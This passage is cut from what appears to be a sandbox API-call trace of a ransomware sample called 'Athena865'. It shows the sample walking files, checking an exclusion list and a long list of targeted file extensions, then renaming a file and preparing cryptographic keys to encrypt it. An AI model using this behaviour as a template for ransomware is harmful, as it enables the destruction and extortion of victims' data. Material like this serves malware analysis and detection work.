Flags=0x8, Size=0x104) returned 0x530d20 [0128.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.475] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.478] CloseHandle (hObject=0x154) returned 1 [0128.478] CloseHandle (hObject=0x17c) returned 1 [0128.478] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.478] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.478] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.478] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x918c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0228959.WMF", cAlternateFileName="")) returned 1 [0128.478] lstrcmpiW (lpString1="J0228959.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.478] lstrcmpiW (lpString1="J0228959.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.478] lstrcmpiW (lpString1="J0228959.WMF", lpString2=".") returned 1 [0128.479] lstrcmpiW (lpString1="J0228959.WMF", lpString2="..") returned 1 [0128.479] lstrcmpiW (lpString1="J0228959.WMF", lpString2="windows") returned -1 [0128.479] lstrcmpiW (lpString1="J0228959.WMF", lpString2="bootmgr") returned 1 [0128.479] lstrcmpiW (lpString1="J0228959.WMF", lpString2="temp") returned -1 [0128.479] lstrcmpiW (lpString1="J0228959.WMF", lpString2="pagefile.sys") returned -1 [0128.479] lstrcmpiW (lpString1="J0228959.WMF", lpString2="boot") returned 1 [0128.479] lstrcmpiW (lpString1="J0228959.WMF", lpString2="ids.txt") returned 1 [0128.479] lstrcmpiW (lpString1="J0228959.WMF", lpString2="ntuser.dat") returned -1 [0128.479] lstrcmpiW (lpString1="J0228959.WMF", lpString2="perflogs") returned -1 [0128.479] lstrcmpiW (lpString1="J0228959.WMF", lpString2="MSBuild") returned -1 [0128.479] lstrlenW (lpString="J0228959.WMF") returned 12 [0128.479] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0228959.WMF" | out: lpString1="J0228959.WMF") returned="J0228959.WMF" [0128.479] lstrlenW (lpString="J0228959.WMF") returned 12 [0128.479] lstrlenW (lpString="Athena865") returned 9 [0128.479] lstrcmpiW (lpString1="28959.WMF", lpString2="Athena865") returned -1 [0128.479] lstrlenW (lpString=".dll") returned 4 [0128.479] lstrcmpiW (lpString1="J0228959.WMF", lpString2=".dll") returned 1 [0128.479] lstrlenW (lpString=".lnk") returned 4 [0128.479] lstrcmpiW (lpString1="J0228959.WMF", lpString2=".lnk") returned 1 [0128.479] lstrlenW (lpString=".ini") returned 4 [0128.479] lstrcmpiW (lpString1="J0228959.WMF", lpString2=".ini") returned 1 [0128.479] lstrlenW (lpString=".sys") returned 4 [0128.479] lstrcmpiW (lpString1="J0228959.WMF", lpString2=".sys") returned 1 [0128.479] lstrlenW (lpString="J0228959.WMF") returned 12 [0128.479] lstrlenW (lpString="bak") returned 3 [0128.479] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0128.480] lstrlenW (lpString="ba_") returned 3 [0128.480] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0128.480] lstrlenW (lpString="dbb") returned 3 [0128.480] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0128.480] lstrlenW (lpString="vmdk") returned 4 [0128.480] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0128.480] lstrlenW (lpString="rar") returned 3 [0128.480] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0128.480] lstrlenW (lpString="zip") returned 3 [0128.480] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0128.480] lstrlenW (lpString="tgz") returned 3 [0128.480] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0128.480] lstrlenW (lpString="vbox") returned 4 [0128.480] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0128.480] lstrlenW (lpString="vdi") returned 3 [0128.480] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0128.480] lstrlenW (lpString="vhd") returned 3 [0128.480] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0128.480] lstrlenW (lpString="vhdx") returned 4 [0128.480] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0128.480] lstrlenW (lpString="avhd") returned 4 [0128.480] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0128.480] lstrlenW (lpString="db") returned 2 [0128.480] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0128.480] lstrlenW (lpString="db2") returned 3 [0128.480] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0128.480] lstrlenW (lpString="db3") returned 3 [0128.481] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0128.481] lstrlenW (lpString="dbf") returned 3 [0128.481] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0128.481] lstrlenW (lpString="mdf") returned 3 [0128.481] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0128.481] lstrlenW (lpString="mdb") returned 3 [0128.481] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0128.481] lstrlenW (lpString="sql") returned 3 [0128.481] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0128.481] lstrlenW (lpString="sqlite") returned 6 [0128.481] lstrcmpiW (lpString1="59.WMF", lpString2="sqlite") returned -1 [0128.481] lstrlenW (lpString="sqlite3") returned 7 [0128.481] lstrcmpiW (lpString1="959.WMF", lpString2="sqlite3") returned -1 [0128.481] lstrlenW (lpString="sqlitedb") returned 8 [0128.481] lstrcmpiW (lpString1="8959.WMF", lpString2="sqlitedb") returned -1 [0128.481] lstrlenW (lpString="xml") returned 3 [0128.481] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0128.481] lstrlenW (lpString="$er") returned 3 [0128.481] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0128.481] lstrlenW (lpString="4dd") returned 3 [0128.481] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0128.481] lstrlenW (lpString="4dl") returned 3 [0128.481] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0128.481] lstrlenW (lpString="^^^") returned 3 [0128.481] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0128.481] lstrlenW (lpString="abs") returned 3 [0128.481] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0128.482] lstrlenW (lpString="abx") returned 3 [0128.482] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0128.482] lstrlenW (lpString="accdb") returned 5 [0128.482] lstrcmpiW (lpString1="9.WMF", lpString2="accdb") returned -1 [0128.482] lstrlenW (lpString="accdc") returned 5 [0128.482] lstrcmpiW (lpString1="9.WMF", lpString2="accdc") returned -1 [0128.482] lstrlenW (lpString="accde") returned 5 [0128.482] lstrcmpiW (lpString1="9.WMF", lpString2="accde") returned -1 [0128.482] lstrlenW (lpString="accdr") returned 5 [0128.482] lstrcmpiW (lpString1="9.WMF", lpString2="accdr") returned -1 [0128.482] lstrlenW (lpString="accdt") returned 5 [0128.482] lstrcmpiW (lpString1="9.WMF", lpString2="accdt") returned -1 [0128.482] lstrlenW (lpString="accdw") returned 5 [0128.482] lstrcmpiW (lpString1="9.WMF", lpString2="accdw") returned -1 [0128.482] lstrlenW (lpString="accft") returned 5 [0128.482] lstrcmpiW (lpString1="9.WMF", lpString2="accft") returned -1 [0128.482] lstrlenW (lpString="adb") returned 3 [0128.482] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.482] lstrlenW (lpString="adb") returned 3 [0128.482] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.482] lstrlenW (lpString="ade") returned 3 [0128.482] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0128.482] lstrlenW (lpString="adf") returned 3 [0128.482] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0128.482] lstrlenW (lpString="adn") returned 3 [0128.482] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0128.483] lstrlenW (lpString="adp") returned 3 [0128.483] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0128.483] lstrlenW (lpString="alf") returned 3 [0128.483] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0128.483] lstrlenW (lpString="ask") returned 3 [0128.483] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0128.483] lstrlenW (lpString="btr") returned 3 [0128.483] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0128.483] lstrlenW (lpString="cat") returned 3 [0128.483] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0128.483] lstrlenW (lpString="cdb") returned 3 [0128.483] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0128.483] lstrlenW (lpString="ckp") returned 3 [0128.483] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0128.483] lstrlenW (lpString="cma") returned 3 [0128.483] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0128.483] lstrlenW (lpString="cpd") returned 3 [0128.483] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0128.483] lstrlenW (lpString="dacpac") returned 6 [0128.483] lstrcmpiW (lpString1="59.WMF", lpString2="dacpac") returned -1 [0128.483] lstrlenW (lpString="dad") returned 3 [0128.483] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0128.483] lstrlenW (lpString="dadiagrams") returned 10 [0128.483] lstrcmpiW (lpString1="228959.WMF", lpString2="dadiagrams") returned -1 [0128.483] lstrlenW (lpString="daschema") returned 8 [0128.483] lstrcmpiW (lpString1="8959.WMF", lpString2="daschema") returned -1 [0128.484] lstrlenW (lpString="db-journal") returned 10 [0128.484] lstrcmpiW (lpString1="228959.WMF", lpString2="db-journal") returned -1 [0128.484] lstrlenW (lpString="db-shm") returned 6 [0128.484] lstrcmpiW (lpString1="59.WMF", lpString2="db-shm") returned -1 [0128.484] lstrlenW (lpString="db-wal") returned 6 [0128.484] lstrcmpiW (lpString1="59.WMF", lpString2="db-wal") returned -1 [0128.484] lstrlenW (lpString="dbc") returned 3 [0128.484] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0128.484] lstrlenW (lpString="dbs") returned 3 [0128.484] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0128.484] lstrlenW (lpString="dbt") returned 3 [0128.484] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0128.484] lstrlenW (lpString="dbv") returned 3 [0128.484] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0128.484] lstrlenW (lpString="dbx") returned 3 [0128.484] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0128.484] lstrlenW (lpString="dcb") returned 3 [0128.484] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0128.484] lstrlenW (lpString="dct") returned 3 [0128.484] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0128.484] lstrlenW (lpString="dcx") returned 3 [0128.484] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0128.484] lstrlenW (lpString="ddl") returned 3 [0128.484] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0128.484] lstrlenW (lpString="dlis") returned 4 [0128.484] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0128.485] lstrlenW (lpString="dp1") returned 3 [0128.485] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0128.485] lstrlenW (lpString="dqy") returned 3 [0128.485] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0128.485] lstrlenW (lpString="dsk") returned 3 [0128.485] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0128.485] lstrlenW (lpString="dsn") returned 3 [0128.485] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0128.485] lstrlenW (lpString="dtsx") returned 4 [0128.485] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0128.485] lstrlenW (lpString="dxl") returned 3 [0128.485] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0128.485] lstrlenW (lpString="eco") returned 3 [0128.485] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0128.485] lstrlenW (lpString="ecx") returned 3 [0128.485] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0128.485] lstrlenW (lpString="edb") returned 3 [0128.485] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0128.485] lstrlenW (lpString="epim") returned 4 [0128.485] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0128.485] lstrlenW (lpString="fcd") returned 3 [0128.485] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0128.485] lstrlenW (lpString="fdb") returned 3 [0128.485] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0128.485] lstrlenW (lpString="fic") returned 3 [0128.485] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0128.485] lstrlenW (lpString="flexolibrary") returned 12 [0128.486] lstrlenW (lpString="fm5") returned 3 [0128.486] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0128.486] lstrlenW (lpString="fmp") returned 3 [0128.486] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0128.486] lstrlenW (lpString="fmp12") returned 5 [0128.486] lstrcmpiW (lpString1="9.WMF", lpString2="fmp12") returned -1 [0128.486] lstrlenW (lpString="fmpsl") returned 5 [0128.486] lstrcmpiW (lpString1="9.WMF", lpString2="fmpsl") returned -1 [0128.486] lstrlenW (lpString="fol") returned 3 [0128.486] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0128.486] lstrlenW (lpString="fp3") returned 3 [0128.486] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0128.486] lstrlenW (lpString="fp4") returned 3 [0128.486] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0128.486] lstrlenW (lpString="fp5") returned 3 [0128.486] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0128.486] lstrlenW (lpString="fp7") returned 3 [0128.486] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0128.486] lstrlenW (lpString="fpt") returned 3 [0128.486] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0128.486] lstrlenW (lpString="frm") returned 3 [0128.486] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0128.486] lstrlenW (lpString="gdb") returned 3 [0128.486] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0128.486] lstrlenW (lpString="gdb") returned 3 [0128.487] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0128.487] lstrlenW (lpString="grdb") returned 4 [0128.487] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0128.487] lstrlenW (lpString="gwi") returned 3 [0128.487] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0128.487] lstrlenW (lpString="hdb") returned 3 [0128.487] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0128.487] lstrlenW (lpString="his") returned 3 [0128.487] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0128.487] lstrlenW (lpString="ib") returned 2 [0128.487] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0128.487] lstrlenW (lpString="idb") returned 3 [0128.487] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0128.487] lstrlenW (lpString="ihx") returned 3 [0128.487] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0128.487] lstrlenW (lpString="itdb") returned 4 [0128.487] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0128.487] lstrlenW (lpString="itw") returned 3 [0128.487] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0128.487] lstrlenW (lpString="jet") returned 3 [0128.487] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0128.487] lstrlenW (lpString="jtx") returned 3 [0128.487] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0128.487] lstrlenW (lpString="kdb") returned 3 [0128.487] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0128.487] lstrlenW (lpString="kexi") returned 4 [0128.487] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0128.488] lstrlenW (lpString="kexic") returned 5 [0128.488] lstrcmpiW (lpString1="9.WMF", lpString2="kexic") returned -1 [0128.488] lstrlenW (lpString="kexis") returned 5 [0128.488] lstrcmpiW (lpString1="9.WMF", lpString2="kexis") returned -1 [0128.488] lstrlenW (lpString="lgc") returned 3 [0128.488] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0128.488] lstrlenW (lpString="lwx") returned 3 [0128.488] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0128.488] lstrlenW (lpString="maf") returned 3 [0128.488] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0128.488] lstrlenW (lpString="maq") returned 3 [0128.488] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0128.488] lstrlenW (lpString="mar") returned 3 [0128.488] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0128.488] lstrlenW (lpString="marshal") returned 7 [0128.488] lstrcmpiW (lpString1="959.WMF", lpString2="marshal") returned -1 [0128.488] lstrlenW (lpString="mas") returned 3 [0128.488] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0128.488] lstrlenW (lpString="mav") returned 3 [0128.488] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0128.488] lstrlenW (lpString="maw") returned 3 [0128.488] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0128.488] lstrlenW (lpString="mdbhtml") returned 7 [0128.488] lstrcmpiW (lpString1="959.WMF", lpString2="mdbhtml") returned -1 [0128.488] lstrlenW (lpString="mdn") returned 3 [0128.488] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0128.488] lstrlenW (lpString="mdt") returned 3 [0128.489] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0128.489] lstrlenW (lpString="mfd") returned 3 [0128.489] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0128.489] lstrlenW (lpString="mpd") returned 3 [0128.489] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0128.489] lstrlenW (lpString="mrg") returned 3 [0128.489] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0128.489] lstrlenW (lpString="mud") returned 3 [0128.489] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0128.489] lstrlenW (lpString="mwb") returned 3 [0128.489] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0128.489] lstrlenW (lpString="myd") returned 3 [0128.489] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0128.489] lstrlenW (lpString="ndf") returned 3 [0128.489] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0128.489] lstrlenW (lpString="nnt") returned 3 [0128.489] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0128.489] lstrlenW (lpString="nrmlib") returned 6 [0128.489] lstrcmpiW (lpString1="59.WMF", lpString2="nrmlib") returned -1 [0128.489] lstrlenW (lpString="ns2") returned 3 [0128.489] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0128.489] lstrlenW (lpString="ns3") returned 3 [0128.489] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0128.489] lstrlenW (lpString="ns4") returned 3 [0128.489] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0128.489] lstrlenW (lpString="nsf") returned 3 [0128.489] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0128.490] lstrlenW (lpString="nv") returned 2 [0128.490] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0128.490] lstrlenW (lpString="nv2") returned 3 [0128.490] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0128.490] lstrlenW (lpString="nwdb") returned 4 [0128.490] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0128.490] lstrlenW (lpString="nyf") returned 3 [0128.490] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0128.490] lstrlenW (lpString="odb") returned 3 [0128.490] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0128.490] lstrlenW (lpString="odb") returned 3 [0128.490] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0128.490] lstrlenW (lpString="oqy") returned 3 [0128.490] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0128.490] lstrlenW (lpString="ora") returned 3 [0128.490] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0128.490] lstrlenW (lpString="orx") returned 3 [0128.490] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0128.490] lstrlenW (lpString="owc") returned 3 [0128.490] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0128.490] lstrlenW (lpString="p96") returned 3 [0128.490] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0128.490] lstrlenW (lpString="p97") returned 3 [0128.490] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0128.490] lstrlenW (lpString="pan") returned 3 [0128.490] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0128.490] lstrlenW (lpString="pdb") returned 3 [0128.491] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0128.491] lstrlenW (lpString="pdm") returned 3 [0128.491] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0128.491] lstrlenW (lpString="pnz") returned 3 [0128.491] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0128.491] lstrlenW (lpString="qry") returned 3 [0128.491] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0128.491] lstrlenW (lpString="qvd") returned 3 [0128.491] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0128.491] lstrlenW (lpString="rbf") returned 3 [0128.491] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0128.491] lstrlenW (lpString="rctd") returned 4 [0128.491] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0128.491] lstrlenW (lpString="rod") returned 3 [0128.491] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0128.491] lstrlenW (lpString="rodx") returned 4 [0128.491] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0128.491] lstrlenW (lpString="rpd") returned 3 [0128.491] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0128.491] lstrlenW (lpString="rsd") returned 3 [0128.491] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0128.491] lstrlenW (lpString="sas7bdat") returned 8 [0128.491] lstrcmpiW (lpString1="8959.WMF", lpString2="sas7bdat") returned -1 [0128.491] lstrlenW (lpString="sbf") returned 3 [0128.491] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0128.491] lstrlenW (lpString="scx") returned 3 [0128.491] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0128.492] lstrlenW (lpString="sdb") returned 3 [0128.492] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0128.492] lstrlenW (lpString="sdc") returned 3 [0128.492] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0128.492] lstrlenW (lpString="sdf") returned 3 [0128.492] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0128.492] lstrlenW (lpString="sis") returned 3 [0128.492] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0128.492] lstrlenW (lpString="spq") returned 3 [0128.492] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0128.492] lstrlenW (lpString="te") returned 2 [0128.492] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0128.492] lstrlenW (lpString="teacher") returned 7 [0128.492] lstrcmpiW (lpString1="959.WMF", lpString2="teacher") returned -1 [0128.492] lstrlenW (lpString="tmd") returned 3 [0128.492] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0128.492] lstrlenW (lpString="tps") returned 3 [0128.492] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0128.492] lstrlenW (lpString="trc") returned 3 [0128.492] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0128.492] lstrlenW (lpString="trc") returned 3 [0128.492] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0128.492] lstrlenW (lpString="trm") returned 3 [0128.492] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0128.492] lstrlenW (lpString="udb") returned 3 [0128.492] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0128.493] lstrlenW (lpString="udl") returned 3 [0128.493] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0128.493] lstrlenW (lpString="usr") returned 3 [0128.493] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0128.493] lstrlenW (lpString="v12") returned 3 [0128.493] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0128.493] lstrlenW (lpString="vis") returned 3 [0128.493] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0128.493] lstrlenW (lpString="vpd") returned 3 [0128.493] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0128.493] lstrlenW (lpString="vvv") returned 3 [0128.493] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0128.493] lstrlenW (lpString="wdb") returned 3 [0128.493] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0128.493] lstrlenW (lpString="wmdb") returned 4 [0128.493] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0128.493] lstrlenW (lpString="wrk") returned 3 [0128.493] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0128.493] lstrlenW (lpString="xdb") returned 3 [0128.493] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0128.493] lstrlenW (lpString="xld") returned 3 [0128.493] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0128.493] lstrlenW (lpString="xmlff") returned 5 [0128.493] lstrcmpiW (lpString1="9.WMF", lpString2="xmlff") returned -1 [0128.493] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF.Athena865") returned 73 [0128.494] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf.athena865"), dwFlags=0x1) returned 1 [0128.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.495] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=37260) returned 1 [0128.495] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.495] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.495] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.495] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.496] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.496] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.496] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, 